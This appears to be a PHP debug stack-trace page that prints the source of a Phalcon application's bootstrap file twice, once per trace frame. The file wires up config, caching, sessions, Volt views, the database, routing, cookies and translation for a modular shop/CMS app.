* Setting up the config component
*/
$config = $di->getShared('config');
$moduleConfig = include_once __DIR__ . '/config/config.php';
if (is_array($moduleConfig)) {
$moduleConfig = new Config($moduleConfig);
}
if ($moduleConfig instanceof Config) {
$config->merge($moduleConfig);
}
/**
* message translate
* @var Translate $translate
*/
$translate = $di->getShared('translate');
$translate->registerTranslationDir(__DIR__ . '/messages/');
/**
* currency
*/
if (empty($lang)) {
$lang = $translate->getDefaultLanguage();
}
/**
* current user id
*/
$userId = $di->getShared('authentication')->currentUser();
$di->getShared('view')->setVars([
'userId' => (!empty($userId['user_id'])) ? $userId['user_id'] : 0,
'currency' => $config->shop->format->currency->{$lang},
'currentUrl' => BASE_URL . $di->getShared('router')->getRewriteUri(),
]);
/**
* Setting up the router component
*/
$router = require __DIR__ . '/Routes.php';
$di->setShared('router', $router);
}
}
|
| #10 | Blazy\Shop\Background->__construct(Object(Phalcon\Di\FactoryDefault)) /var/www/sites/tla/config/bootstrap.php (775) <?php
namespace Blazy;
use Blazy\Library\Mvc\Url as UrlResolver;
use Blazy\Library\Mvc\View\PhpFunctionExtension;
use Intervention\Image\ImageManager;
use Lamvh\Phalcon\Translate\Translate;
use Phalcon\Assets\Manager as AssetsManager;
use Phalcon\Cache\BackendInterface;
use Phalcon\Cache\Frontend\Output as FrontOutput;
use Phalcon\Config;
use Phalcon\Di;
use Phalcon\DiInterface;
use Phalcon\Events\Event;
use Phalcon\Events\Manager as EventsManager;
use Phalcon\Flash\Direct as Flash;
use Phalcon\Flash\Session as FlashSession;
use Phalcon\Http\Response\Cookies;
use Phalcon\Loader;
use Phalcon\Logger\Adapter\File as FileLogger;
use Phalcon\Logger\AdapterInterface as LoggerInterface;
use Phalcon\Logger\Formatter\Line as FormatterLine;
use Phalcon\Mvc\Application;
use Phalcon\Mvc\Dispatcher;
use Phalcon\Mvc\Model\Manager as ModelsManager;
use Phalcon\Mvc\Router;
use Phalcon\Mvc\View;
use Phalcon\Mvc\View\Exception as ViewException;
use Phalcon\Mvc\View\Simple as SimpleView;
use Phalcon\Queue\Beanstalk;
use Phalcon\Utils\Slug;
use RuntimeException;
class Bootstrap extends Application
{
private $app;
private $loaders = [
'cache',
'session',
'view',
'database',
'router',
'url',
'dispatcher',
'flash',
'timezones',
'assets',
'cookie',
'translate',
'media',
];
private $activeModules = ['frontend', 'backend', 'skeleton', 'auth', 'category', 'widget', 'mobile', 'article', 'shop'];
/**
* Bootstrap constructor.
*
* @param DiInterface $di
*/
public function __construct(DiInterface $di)
{
$em = new EventsManager;
$em->enablePriorities(true);
$config = $this->initConfig();
// Register the configuration itself as a service
$di->setShared('eventsManager', $em);
$this->app = new Application;
$this->initLogger($di, $config, $em);
$this->registerActiveModules($this->activeModules);
$this->initLoader($di, $config, $em);
foreach ($this->loaders as $service) {
$serviceName = ucfirst($service);
$this->{'init' . $serviceName}($di, $config, $em);
}
$this->initBackground();
$this->setEventsManager($em);
$this->setDI($di);
}
/**
* Runs the Application
*
* @return $this|string
*/
public function run()
{
if (ENV_TESTING === APPLICATION_ENV) {
return $this;
}
return $this->getOutput();
}
/**
* Get application output.
*
* @return string
*/
public function getOutput()
{
if ($this instanceof Application) {
/**
* @var BackendInterface $viewCache
*/
if (!empty($this->config->viewCache->cacheHtml)) {
$viewCache = $this->viewCache;
$prefix = $this->config->viewCache->htmlPrefix;
$key = $prefix . Slug::generate($this->router->getRewriteUri(), '_');
$output = $viewCache->get($key);
if (empty($output)) {
$output = $this->handle()->getContent();
$isMinify = false;
if (!empty($this->config->minify->mode)) {
if (empty($this->config->minify->condition)) {
$isMinify = true;
} else {
$strCondition = $this->dispatcher->getModuleName() . '_' .
$this->dispatcher->getControllerName() . '_' .
$this->dispatcher->getActionName();
if (stripos($strCondition, $this->config->minify->condition) !== false) {
$isMinify = true;
}
}
}
if (!empty($isMinify)) {
$output = preg_replace('/<!--(.|\s)*?-->/', '', $output);
$search = [
'/\>[^\S ]+/s', //strip whitespaces after tags, except space
'/[^\S ]+\</s', //strip whitespaces before tags, except space
'/(\s)+/s', // shorten multiple whitespace sequences
'/>(\s)+</',
'/\n/',
'/\r/',
'/\t/',
];
$replace = [
'>',
'<',
'\\1',
'><',
'',
'',
'',
];
$output = preg_replace($search, $replace, $output);
}
$viewCache->save($key, $output);
}
} else {
$output = $this->handle()->getContent();
}
return $output;
}
return $this->handle();
}
/**
* Initialize the Logger.
*
* @param DiInterface $di Dependency Injector
* @param Config $config App config
* @param EventsManager $em Events Manager
*
* @return void
*/
protected function initLogger(DiInterface $di, Config $config, EventsManager $em)
{
$di->set('logger', function ($filename = null, $format = null) use ($config) {
$format = $format ?: $config->get('logger')->format;
$filename = trim($filename ?: $config->get('logger')->filename, '\\/');
$path = rtrim($config->get('logger')->path, '\\/') . DIRECTORY_SEPARATOR;
$formatter = new FormatterLine($format, $config->get('logger')->date);
$logger = new FileLogger($path . $filename);
$logger->setFormatter($formatter);
$logger->setLogLevel($config->get('logger')->logLevel);
return $logger;
});
}
/**
* Initialize the Loader.
*
* Adds all required namespaces.
*
* @param DiInterface $di Dependency Injector
* @param Config $config App config
* @param EventsManager $em Events Manager
*
* @return Loader
*/
protected function initLoader(DiInterface $di, Config $config, EventsManager $em)
{
$loader = new Loader;
$loader->registerNamespaces(
[
'Blazy\Library' => $config->get('application')->libraryDir,
'Blazy\Helper' => $config->get('application')->helpersDir,
'Blazy\Models' => $config->get('application')->modelsDir,
'Blazy\Plugin' => $config->get('application')->pluginsDir,
'Blazy\Constant' => $config->get('application')->constantDir,
//module
'Blazy\Library\Mvc' => $config->get('application')->libraryDir . '/mvc/',
'Blazy\Library\Mvc\View' => $config->get('application')->libraryDir . '/mvc/view',
'Blazy\Util' => $config->get('application')->utilModuleDir,
]
);
$loader->setEventsManager($em);
$loader->register();
$di->setShared('loader', $loader);
return $loader;
}
/**
* Initialize the Cache.
*
* The frontend must always be Phalcon\Cache\Frontend\Output and the service 'viewCache'
* must be registered as always open (not shared) in the services container (DI).
*
* @param DiInterface $di Dependency Injector
* @param Config $config App config
* @param EventsManager $em Events Manager
*
* @return void
*/
protected function initCache(DiInterface $di, Config $config, EventsManager $em)
{
$di->set('viewCache', function () use ($config) {
$frontend = new FrontOutput(['lifetime' => $config->get('viewCache')->lifetime]);
$config = $config->get('viewCache')->toArray();
$backend = '\Phalcon\Cache\Backend\\' . $config['backend'];
unset($config['backend'], $config['lifetime']);
return new $backend($frontend, $config);
});
$di->setShared('modelsCache', function () use ($config) {
$frontend = '\Phalcon\Cache\Frontend\\' . $config->get('modelsCache')->frontend;
$frontend = new $frontend(['lifetime' => $config->get('modelsCache')->lifetime]);
$config = $config->get('modelsCache')->toArray();
$backend = '\Phalcon\Cache\Backend\\' . $config['backend'];
unset($config['backend'], $config['lifetime'], $config['frontend'], $config['useCache'], $config['isFresh']);
return new $backend($frontend, $config);
});
$di->setShared('dataCache', function () use ($config) {
$frontend = '\Phalcon\Cache\Frontend\\' . $config->get('dataCache')->frontend;
$frontend = new $frontend(['lifetime' => $config->get('dataCache')->lifetime]);
$config = $config->get('dataCache')->toArray();
$backend = '\Phalcon\Cache\Backend\\' . $config['backend'];
unset($config['backend'], $config['lifetime'], $config['frontend'], $config['useCache'], $config['isFresh']);
return new $backend($frontend, $config);
});
}
/**
* Initialize the Session Service.
*
* Start the session the first time some component request the session service.
*
* @param DiInterface $di Dependency Injector
* @param Config $config App config
* @param EventsManager $em Events Manager
*
* @return void
*/
protected function initSession(DiInterface $di, Config $config, EventsManager $em)
{
$di->setShared('session', function () use ($config) {
$adapter = '\Phalcon\Session\Adapter\\' . $config->get('session')->adapter;
/** @var \Phalcon\Session\AdapterInterface $session */
$session = new $adapter;
$session->start();
return $session;
});
}
/**
* Initialize the View.
*
* Setting up the view component.
*
*
* @param DiInterface $di Dependency Injector
* @param Config $config App config
* @param EventsManager $em Events Manager
*
* @return Loader
*/
protected function initView(DiInterface $di, Config $config, EventsManager $em)
{
$di->setShared('view', function () use ($di, $config, $em) {
$view = new View;
$view->registerEngines([
// Setting up Volt Engine
'.volt' => function ($view, $di) use ($config) {
$volt = new \Phalcon\Mvc\View\Engine\Volt($view, $di);
$voltConfig = $config->get('volt')->toArray();
$options = [
'compiledPath' => $voltConfig['cacheDir'],
'compiledExtension' => $voltConfig['compiledExt'],
'compiledSeparator' => $voltConfig['separator'],
'compileAlways' => ENV_DEVELOPMENT === APPLICATION_ENV && $voltConfig['forceCompile'],
];
$volt->setOptions($options);
$compiler = $volt->getCompiler();
$compiler->addExtension(new PhpFunctionExtension());
$compiler->addFunction('number_format', function ($resolvedArgs) {
return 'number_format(' . $resolvedArgs . ')';
});
$compiler->addFunction('truncate', 'Lamvh\Phalcon\Utils\Str::truncateSafe');
$compiler->addFunction('in_array', 'in_array');
$compiler->addFunction('blockRender', function ($resolvedArgs, $exprArgs) {
return sprintf('$this->block->render(%s)', $resolvedArgs);
});
$compiler->addFunction(
'repeat',
function ($resolvedArgs, $exprArgs) use ($compiler) {
// Resolve the first argument
$firstArgument = $compiler->expression($exprArgs[0]['expr']);
// Checks if the second argument was passed
if (isset($exprArgs[1])) {
$secondArgument = $compiler->expression($exprArgs[1]['expr']);
} else {
// Use '10' as default
$secondArgument = '10';
}
return 'str_repeat(' . $firstArgument . ', ' . $secondArgument . ')';
}
);
return $volt;
},
]);
$view->setViewsDir($config->get('application')->viewsDir);
$em->attach('view', function ($event, $view) use ($di, $config) {
/**
* @var LoggerInterface $logger
* @var View $view
* @var Event $event
* @var DiInterface $di
*/
$logger = $di->get('logger');
$logger->debug(sprintf('Event %s. Path: %s', $event->getType(), $view->getActiveRenderPath()));
if ('notFoundView' == $event->getType()) {
$message = sprintf('View not found: %s', $view->getActiveRenderPath());
$logger->error($message);
throw new ViewException($message);
}
});
$view->setEventsManager($em);
return $view;
});
$di->setShared('simpleView', function () use ($di, $config, $em) {
$simpleView = new SimpleView();
$simpleView->registerEngines([
// Setting up Volt Engine
'.volt' => function ($view, $di) use ($config) {
$volt = new \Phalcon\Mvc\View\Engine\Volt($view, $di);
$voltConfig = $config->get('volt')->toArray();
$options = [
'compiledPath' => $voltConfig['cacheDir'],
'compiledExtension' => $voltConfig['compiledExt'],
'compiledSeparator' => $voltConfig['separator'],
'compileAlways' => ENV_DEVELOPMENT === APPLICATION_ENV && $voltConfig['forceCompile'],
];
$volt->setOptions($options);
$compiler = $volt->getCompiler();
$compiler->addFunction('number_format', function ($resolvedArgs) {
return 'number_format(' . $resolvedArgs . ')';
});
return $volt;
},
// Setting up Php Engine
'.phtml' => 'Phalcon\Mvc\View\Engine\Php',
]);
$simpleView->setViewsDir($config->get('application')->viewsDir);
$em->attach('simpleView', function ($event, $view) use ($di, $config) {
/**
* @var LoggerInterface $logger
* @var View $view
* @var Event $event
* @var DiInterface $di
*/
$logger = $di->get('logger');
$logger->debug(sprintf('Event %s. Path: %s', $event->getType(), $view->getActiveRenderPath()));
if ('notFoundView' == $event->getType()) {
$message = sprintf('View not found: %s', $view->getActiveRenderPath());
$logger->error($message);
throw new ViewException($message);
}
});
$simpleView->setEventsManager($em);
return $simpleView;
});
}
/**
* Initialize the Database connection.
*
* Database connection is created based in the parameters defined in the configuration file.
*
* @param DiInterface $di Dependency Injector
* @param Config $config App config
* @param EventsManager $em Events Manager
*
* @return void
*/
protected function initDatabase(DiInterface $di, Config $config, EventsManager $em)
{
$di->setShared('db', function () use ($config, $em, $di) {
$config = $config->database->toArray();
$adapter = '\Phalcon\Db\Adapter\Pdo\\' . $config['adapter'];
unset($config['adapter']);
/** @var \Phalcon\Db\Adapter\Pdo $connection */
$connection = new $adapter($config);
// Listen all the database events
$em->attach(
'db',
function ($event, $connection) use ($di) {
/**
* @var \Phalcon\Events\Event $event
* @var \Phalcon\Db\AdapterInterface $connection
* @var \Phalcon\DiInterface $di
*/
if ($event->getType() == 'beforeQuery') {
$variables = $connection->getSQLVariables();
$string = $connection->getSQLStatement();
if ($variables) {
$string .= "\n" . print_r($variables, true);;
}
// To disable logging change logLevel in config
$di->get('logger', ['db.log'])->debug($string);
}
}
);
// Assign the eventsManager to the db adapter instance
$connection->setEventsManager($em);
return $connection;
});
$di->setShared('modelsManager', function () use ($em) {
$modelsManager = new ModelsManager;
$modelsManager->setEventsManager($em);
return $modelsManager;
});
$di->setShared('modelsMetadata', function () use ($config, $em) {
$config = $config->get('metadata')->toArray();
$adapter = '\Phalcon\Mvc\Model\Metadata\\' . $config['adapter'];
unset($config['adapter']);
$metaData = new $adapter($config);
return $metaData;
});
}
/**
* Initialize the Queue Service.
* TODO: Not yet implement
*
* Queue to deliver e-mails in real-time and other tasks.
*
* @param DiInterface $di Dependency Injector
* @param Config $config App config
* @param EventsManager $em Events Manager
*
* @return void
*/
protected function initQueue(DiInterface $di, Config $config, EventsManager $em)
{
$di->setShared('queue', function () use ($config) {
$config = $config->get('beanstalk');
$config->get('disabled', true);
if ($config->get('disabled', true)) {
return new DummyServer();
}
if (!$host = $config->get('host', false)) {
$error = 'Beanstalk is not configured';
if (class_exists('\Phalcon\Queue\Beanstalk\Exception')) {
$exception = '\Phalcon\Queue\Beanstalk\Exception';
} else {
$exception = '\Phalcon\Exception';
}
throw new $exception($error);
}
return new Beanstalk(['host' => $host]);
});
}
/**
* Initialize the Router.
*
* @param DiInterface $di Dependency Injector
* @param Config $config App config
* @param EventsManager $em Events Manager
*
* @return void
*/
protected function initRouter(DiInterface $di, Config $config, EventsManager $em)
{
$di->setShared('router', function () use ($config, $em) {
/** @var \Phalcon\Mvc\Router $router */
$router = include BASE_DIR . 'config/routes.php';
if (!isset($_GET['_url'])) {
$router->setUriSource(Router::URI_SOURCE_SERVER_REQUEST_URI);
}
if (preg_match('/(.jpg|.jpge|.png|.gif|.ico|.css|.js)$/', $router->getRewriteUri())) {
exit;
}
$router->removeExtraSlashes(true);
$router->setEventsManager($em);
$router->setDefaultNamespace('Blazy\Frontend\Controllers');
$router->setDefaultModule('frontend');
$router->notFound(['controller' => 'error', 'action' => 'route404']);
return $router;
});
}
/**
* Initialize the Url service.
*
* The URL component is used to generate all kind of urls in the application.
*
* @param DiInterface $di Dependency Injector
* @param Config $config App config
* @param EventsManager $em Events Manager
*
* @return void
*/
protected function initUrl(DiInterface $di, Config $config, EventsManager $em)
{
$di->setShared('url', function () use ($config) {
$url = new UrlResolver;
$url->setBaseUri($config->application->baseUri);
$url->setStaticBaseUri(STATIC_BASE_URL . $config->application->baseUri);
return $url;
});
}
/**
* Initialize the Dispatcher.
*
* @param DiInterface $di Dependency Injector
* @param Config $config App config
* @param EventsManager $em Events Manager
*
* @return void
*/
protected function initDispatcher(DiInterface $di, Config $config, EventsManager $em)
{
$di->setShared('dispatcher', function () use ($em) {
$dispatcher = new Dispatcher;
$dispatcher->setDefaultNamespace('Blazy\Frontend\Controllers');
$em->attach('dispatch:beforeException', function ($event, $dispatcher, $exception) {
if (!class_exists('Blazy\Backend\Module')) {
include_once BASE_DIR . '/app/modules/backend/module.php';
$module = new Backend\Module();
$module->registerServices($this->getDI());
$module->registerAutoloaders($this->getDI());
$dispatcher->setNamespaceName('Blazy\Backend\Controllers');
}
});
$dispatcher->setEventsManager($em);
return $dispatcher;
});
}
/**
* Initialize the Flash Service.
*
* Register the Flash Service with the Twitter Bootstrap classes
*
* @param DiInterface $di Dependency Injector
* @param Config $config App config
* @param EventsManager $em Events Manager
*
* @return void
*/
protected function initFlash(DiInterface $di, Config $config, EventsManager $em)
{
$di->setShared('flash', function () {
$flash = new Flash(
[
'error' => 'alert alert-danger fade in',
'success' => 'alert alert-success fade in',
'notice' => 'alert alert-info fade in',
'warning' => 'alert alert-warning fade in',
]
);
return $flash;
});
$di->setShared('flashInline', function () use ($di) {
$flash = $di->getShared('flash');
$flash->setCssClasses([
'error' => 'custom-message error',
'success' => 'alert alert-success fade in',
'notice' => 'alert alert-info fade in',
'warning' => 'alert alert-warning fade in',
]);
return $flash;
});
$di->setShared(
'flashSession',
function () {
return new FlashSession([
'error' => 'alert alert-danger fade in',
'success' => 'alert alert-success fade in alert-hightlight',
'notice' => 'alert alert-info fade in',
'warning' => 'alert alert-warning fade in',
]);
}
);
}
/**
* Initialize time zones.
*
* @param DiInterface $di Dependency Injector
* @param Config $config App config
* @param EventsManager $em Events Manager
*
* @return void
*/
protected function initTimezones(DiInterface $di, Config $config, EventsManager $em)
{
$di->setShared('timezones', function () use ($config) {
return require_once BASE_DIR . 'config/timezones.php';
});
}
/**
* Load module's configuration file, prepare and return the Config.
*
* @param string $path Config path [Optional]
*
* @return Config
* @throws RuntimeException
*/
protected function initConfig($path = null)
{
$path = $path ?: BASE_DIR . 'config/';
if (!is_readable($path . 'config.php')) {
throw new RuntimeException(
'Unable to read config from ' . $path . 'config.php'
);
}
$di = Di::getDefault();
/**
* Load default configuration and run module background job
*
* @var \Phalcon\Config $config
*/
$config = include_once $path . 'config.php';
$di->setShared('config', $config);
foreach ($this->activeModules as $module) {
if (is_readable(BASE_DIR . 'app/modules/' . $module . '/config.php'))
$config->offsetSet($module, include_once BASE_DIR . 'app/modules/' . $module . '/config.php');
}
/**
* Load environment configuration
*
* @var \Phalcon\Config $envConfig
*/
$envConfig = include_once $path . 'config.' . APPLICATION_ENV . '.php';
foreach ($this->activeModules as $module) {
if (is_readable(BASE_DIR . 'app/modules/' . $module . '/config.' . APPLICATION_ENV . '.php'))
$envConfig->offsetSet($module, include_once BASE_DIR . 'app/modules/' . $module . '/config.' . APPLICATION_ENV . '.php');
}
if ($envConfig instanceof Config) {
$config->merge($envConfig);
}
return $config;
}
protected function initBackground()
{
$di = Di::getDefault();
foreach ($this->activeModules as $module) {
if (is_readable(BASE_DIR . 'app/modules/' . $module . '/Background.php')) {
include_once BASE_DIR . 'app/modules/' . $module . '/Background.php';
$background = 'Blazy\\' . $module . '\Background';
new $background($di);
}
}
}
/**
* @param DiInterface $di
* @param Config $config
* @param EventsManager $em
*/
protected function initAssets(DiInterface $di, Config $config, EventsManager $em)
{
$di->setShared('assets', function () use ($config, $em) {
return new AssetsManager();
});
}
/*protected function initViewSimple(DiInterface $di, Config $config, EventsManager $em) {
$di->setShared('viewSimple', function() {
$view = new ViewSimple();
$view->setViewsDir($config->application->viewsDir);
return new ViewSimple();
});
}*/
/**
* starts the cookie the first time some component requests the cookie service
*
* @param DiInterface $di
* @param Config $config
* @param EventsManager $em
*/
protected function initCookie(DiInterface $di, Config $config, EventsManager $em)
{
$di->setShared('cookies', function () {
$cookies = new Cookies();
$cookies->useEncryption(false);
return $cookies;
});
}
/**
* Multi language
*
* @param DiInterface $di
* @param Config $config
* @param EventsManager $em
*/
protected function initTranslate(DiInterface $di, Config $config, EventsManager $em)
{
$di->setShared('translate', function () use ($di, $config) {
$translate = new Translate($config->application->messagesDir, $config->application->defaultLanguage);
$dispatcher = $di->getShared('dispatcher');
$lang = $dispatcher->getParam('lang');
if (!empty($lang)) {
$translate->setCurrentLanguage($lang);
}
return $translate;
});
$di->setShared('t', function () use ($di, $config) {
return $di->getShared('translate')->getTranslation();
});
}
/**
* media manager: image, video ..
*
* @param DiInterface $di
* @param Config $config
* @param EventsManager $em
*/
protected function initMedia(DiInterface $di, Config $config, EventsManager $em)
{
$di->setShared('image', new ImageManager(['driver' => 'gd']));
}
public function registerActiveModules($modules, $merge = false)
{
$preparedModules = [];
foreach ($modules as $module) {
$preparedModules[$module] = [
'className' => 'Blazy\\' . ucfirst($module) . '\\Module',
'path' => BASE_DIR . 'app/modules/' . $module . '/Module.php',
];
}
parent::registerModules($preparedModules, $merge);
}
}
|
| #11 | Blazy\Bootstrap->initBackground() /var/www/sites/tla/config/bootstrap.php (82) <?php
namespace Blazy;
use Blazy\Library\Mvc\Url as UrlResolver;
use Blazy\Library\Mvc\View\PhpFunctionExtension;
use Intervention\Image\ImageManager;
use Lamvh\Phalcon\Translate\Translate;
use Phalcon\Assets\Manager as AssetsManager;
use Phalcon\Cache\BackendInterface;
use Phalcon\Cache\Frontend\Output as FrontOutput;
use Phalcon\Config;
use Phalcon\Di;
use Phalcon\DiInterface;
use Phalcon\Events\Event;
use Phalcon\Events\Manager as EventsManager;
use Phalcon\Flash\Direct as Flash;
use Phalcon\Flash\Session as FlashSession;
use Phalcon\Http\Response\Cookies;
use Phalcon\Loader;
use Phalcon\Logger\Adapter\File as FileLogger;
use Phalcon\Logger\AdapterInterface as LoggerInterface;
use Phalcon\Logger\Formatter\Line as FormatterLine;
use Phalcon\Mvc\Application;
use Phalcon\Mvc\Dispatcher;
use Phalcon\Mvc\Model\Manager as ModelsManager;
use Phalcon\Mvc\Router;
use Phalcon\Mvc\View;
use Phalcon\Mvc\View\Exception as ViewException;
use Phalcon\Mvc\View\Simple as SimpleView;
use Phalcon\Queue\Beanstalk;
use Phalcon\Utils\Slug;
use RuntimeException;
class Bootstrap extends Application
{
private $app;
private $loaders = [
'cache',
'session',
'view',
'database',
'router',
'url',
'dispatcher',
'flash',
'timezones',
'assets',
'cookie',
'translate',
'media',
];
private $activeModules = ['frontend', 'backend', 'skeleton', 'auth', 'category', 'widget', 'mobile', 'article', 'shop'];
/**
* Bootstrap constructor.
*
* @param DiInterface $di
*/
public function __construct(DiInterface $di)
{
$em = new EventsManager;
$em->enablePriorities(true);
$config = $this->initConfig();
// Register the configuration itself as a service
$di->setShared('eventsManager', $em);
$this->app = new Application;
$this->initLogger($di, $config, $em);
$this->registerActiveModules($this->activeModules);
$this->initLoader($di, $config, $em);
foreach ($this->loaders as $service) {
$serviceName = ucfirst($service);
$this->{'init' . $serviceName}($di, $config, $em);
}
$this->initBackground();
$this->setEventsManager($em);
$this->setDI($di);
}
/**
* Runs the Application
*
* @return $this|string
*/
public function run()
{
if (ENV_TESTING === APPLICATION_ENV) {
return $this;
}
return $this->getOutput();
}
/**
* Get application output.
*
* @return string
*/
public function getOutput()
{
if ($this instanceof Application) {
/**
* @var BackendInterface $viewCache
*/
if (!empty($this->config->viewCache->cacheHtml)) {
$viewCache = $this->viewCache;
$prefix = $this->config->viewCache->htmlPrefix;
$key = $prefix . Slug::generate($this->router->getRewriteUri(), '_');
$output = $viewCache->get($key);
if (empty($output)) {
$output = $this->handle()->getContent();
$isMinify = false;
if (!empty($this->config->minify->mode)) {
if (empty($this->config->minify->condition)) {
$isMinify = true;
} else {
$strCondition = $this->dispatcher->getModuleName() . '_' .
$this->dispatcher->getControllerName() . '_' .
$this->dispatcher->getActionName();
if (stripos($strCondition, $this->config->minify->condition) !== false) {
$isMinify = true;
}
}
}
if (!empty($isMinify)) {
$output = preg_replace('/<!--(.|\s)*?-->/', '', $output);
$search = [
'/\>[^\S ]+/s', //strip whitespaces after tags, except space
'/[^\S ]+\</s', //strip whitespaces before tags, except space
'/(\s)+/s', // shorten multiple whitespace sequences
'/>(\s)+</',
'/\n/',
'/\r/',
'/\t/',
];
$replace = [
'>',
'<',
'\\1',
'><',
'',
'',
'',
];
$output = preg_replace($search, $replace, $output);
}
$viewCache->save($key, $output);
}
} else {
$output = $this->handle()->getContent();
}
return $output;
}
return $this->handle();
}
/**
* Initialize the Logger.
*
* @param DiInterface $di Dependency Injector
* @param Config $config App config
* @param EventsManager $em Events Manager
*
* @return void
*/
protected function initLogger(DiInterface $di, Config $config, EventsManager $em)
{
$di->set('logger', function ($filename = null, $format = null) use ($config) {
$format = $format ?: $config->get('logger')->format;
$filename = trim($filename ?: $config->get('logger')->filename, '\\/');
$path = rtrim($config->get('logger')->path, '\\/') . DIRECTORY_SEPARATOR;
$formatter = new FormatterLine($format, $config->get('logger')->date);
$logger = new FileLogger($path . $filename);
$logger->setFormatter($formatter);
$logger->setLogLevel($config->get('logger')->logLevel);
return $logger;
});
}
/**
* Initialize the Loader.
*
* Adds all required namespaces.
*
* @param DiInterface $di Dependency Injector
* @param Config $config App config
* @param EventsManager $em Events Manager
*
* @return Loader
*/
protected function initLoader(DiInterface $di, Config $config, EventsManager $em)
{
$loader = new Loader;
$loader->registerNamespaces(
[
'Blazy\Library' => $config->get('application')->libraryDir,
'Blazy\Helper' => $config->get('application')->helpersDir,
'Blazy\Models' => $config->get('application')->modelsDir,
'Blazy\Plugin' => $config->get('application')->pluginsDir,
'Blazy\Constant' => $config->get('application')->constantDir,
//module
'Blazy\Library\Mvc' => $config->get('application')->libraryDir . '/mvc/',
'Blazy\Library\Mvc\View' => $config->get('application')->libraryDir . '/mvc/view',
'Blazy\Util' => $config->get('application')->utilModuleDir,
]
);
$loader->setEventsManager($em);
$loader->register();
$di->setShared('loader', $loader);
return $loader;
}
/**
* Initialize the Cache.
*
* The frontend must always be Phalcon\Cache\Frontend\Output and the service 'viewCache'
* must be registered as always open (not shared) in the services container (DI).
*
* @param DiInterface $di Dependency Injector
* @param Config $config App config
* @param EventsManager $em Events Manager
*
* @return void
*/
protected function initCache(DiInterface $di, Config $config, EventsManager $em)
{
$di->set('viewCache', function () use ($config) {
$frontend = new FrontOutput(['lifetime' => $config->get('viewCache')->lifetime]);
$config = $config->get('viewCache')->toArray();
$backend = '\Phalcon\Cache\Backend\\' . $config['backend'];
unset($config['backend'], $config['lifetime']);
return new $backend($frontend, $config);
});
$di->setShared('modelsCache', function () use ($config) {
$frontend = '\Phalcon\Cache\Frontend\\' . $config->get('modelsCache')->frontend;
$frontend = new $frontend(['lifetime' => $config->get('modelsCache')->lifetime]);
$config = $config->get('modelsCache')->toArray();
$backend = '\Phalcon\Cache\Backend\\' . $config['backend'];
unset($config['backend'], $config['lifetime'], $config['frontend'], $config['useCache'], $config['isFresh']);
return new $backend($frontend, $config);
});
$di->setShared('dataCache', function () use ($config) {
$frontend = '\Phalcon\Cache\Frontend\\' . $config->get('dataCache')->frontend;
$frontend = new $frontend(['lifetime' => $config->get('dataCache')->lifetime]);
$config = $config->get('dataCache')->toArray();
$backend = '\Phalcon\Cache\Backend\\' . $config['backend'];
unset($config['backend'], $config['lifetime'], $config['frontend'], $config['useCache'], $config['isFresh']);
return new $backend($frontend, $config);
});
}
/**
* Initialize the Session Service.
*
* Start the session the first time some component request the session service.
*
* @param DiInterface $di Dependency Injector
* @param Config $config App config
* @param EventsManager $em Events Manager
*
* @return void
*/
protected function initSession(DiInterface $di, Config $config, EventsManager $em)
{
$di->setShared('session', function () use ($config) {
$adapter = '\Phalcon\Session\Adapter\\' . $config->get('session')->adapter;
/** @var \Phalcon\Session\AdapterInterface $session */
$session = new $adapter;
$session->start();
return $session;
});
}
/**
* Initialize the View.
*
* Setting up the view component.
*
*
* @param DiInterface $di Dependency Injector
* @param Config $config App config
* @param EventsManager $em Events Manager
*
* @return Loader
*/
protected function initView(DiInterface $di, Config $config, EventsManager $em)
{
$di->setShared('view', function () use ($di, $config, $em) {
$view = new View;
$view->registerEngines([
// Setting up Volt Engine
'.volt' => function ($view, $di) use ($config) {
$volt = new \Phalcon\Mvc\View\Engine\Volt($view, $di);
$voltConfig = $config->get('volt')->toArray();
$options = [
'compiledPath' => $voltConfig['cacheDir'],
'compiledExtension' => $voltConfig['compiledExt'],
'compiledSeparator' => $voltConfig['separator'],
'compileAlways' => ENV_DEVELOPMENT === APPLICATION_ENV && $voltConfig['forceCompile'],
];
$volt->setOptions($options);
$compiler = $volt->getCompiler();
$compiler->addExtension(new PhpFunctionExtension());
$compiler->addFunction('number_format', function ($resolvedArgs) {
return 'number_format(' . $resolvedArgs . ')';
});
$compiler->addFunction('truncate', 'Lamvh\Phalcon\Utils\Str::truncateSafe');
$compiler->addFunction('in_array', 'in_array');
$compiler->addFunction('blockRender', function ($resolvedArgs, $exprArgs) {
return sprintf('$this->block->render(%s)', $resolvedArgs);
});
$compiler->addFunction(
'repeat',
function ($resolvedArgs, $exprArgs) use ($compiler) {
// Resolve the first argument
$firstArgument = $compiler->expression($exprArgs[0]['expr']);
// Checks if the second argument was passed
if (isset($exprArgs[1])) {
$secondArgument = $compiler->expression($exprArgs[1]['expr']);
} else {
// Use '10' as default
$secondArgument = '10';
}
return 'str_repeat(' . $firstArgument . ', ' . $secondArgument . ')';
}
);
return $volt;
},
]);
$view->setViewsDir($config->get('application')->viewsDir);
$em->attach('view', function ($event, $view) use ($di, $config) {
/**
* @var LoggerInterface $logger
* @var View $view
* @var Event $event
* @var DiInterface $di
*/
$logger = $di->get('logger');
$logger->debug(sprintf('Event %s. Path: %s', $event->getType(), $view->getActiveRenderPath()));
if ('notFoundView' == $event->getType()) {
$message = sprintf('View not found: %s', $view->getActiveRenderPath());
$logger->error($message);
throw new ViewException($message);
}
});
$view->setEventsManager($em);
return $view;
});
$di->setShared('simpleView', function () use ($di, $config, $em) {
$simpleView = new SimpleView();
$simpleView->registerEngines([
// Setting up Volt Engine
'.volt' => function ($view, $di) use ($config) {
$volt = new \Phalcon\Mvc\View\Engine\Volt($view, $di);
$voltConfig = $config->get('volt')->toArray();
$options = [
'compiledPath' => $voltConfig['cacheDir'],
'compiledExtension' => $voltConfig['compiledExt'],
'compiledSeparator' => $voltConfig['separator'],
'compileAlways' => ENV_DEVELOPMENT === APPLICATION_ENV && $voltConfig['forceCompile'],
];
$volt->setOptions($options);
$compiler = $volt->getCompiler();
$compiler->addFunction('number_format', function ($resolvedArgs) {
return 'number_format(' . $resolvedArgs . ')';
});
return $volt;
},
// Setting up Php Engine
'.phtml' => 'Phalcon\Mvc\View\Engine\Php',
]);
$simpleView->setViewsDir($config->get('application')->viewsDir);
$em->attach('simpleView', function ($event, $view) use ($di, $config) {
/**
* @var LoggerInterface $logger
* @var View $view
* @var Event $event
* @var DiInterface $di
*/
$logger = $di->get('logger');
$logger->debug(sprintf('Event %s. Path: %s', $event->getType(), $view->getActiveRenderPath()));
if ('notFoundView' == $event->getType()) {
$message = sprintf('View not found: %s', $view->getActiveRenderPath());
$logger->error($message);
throw new ViewException($message);
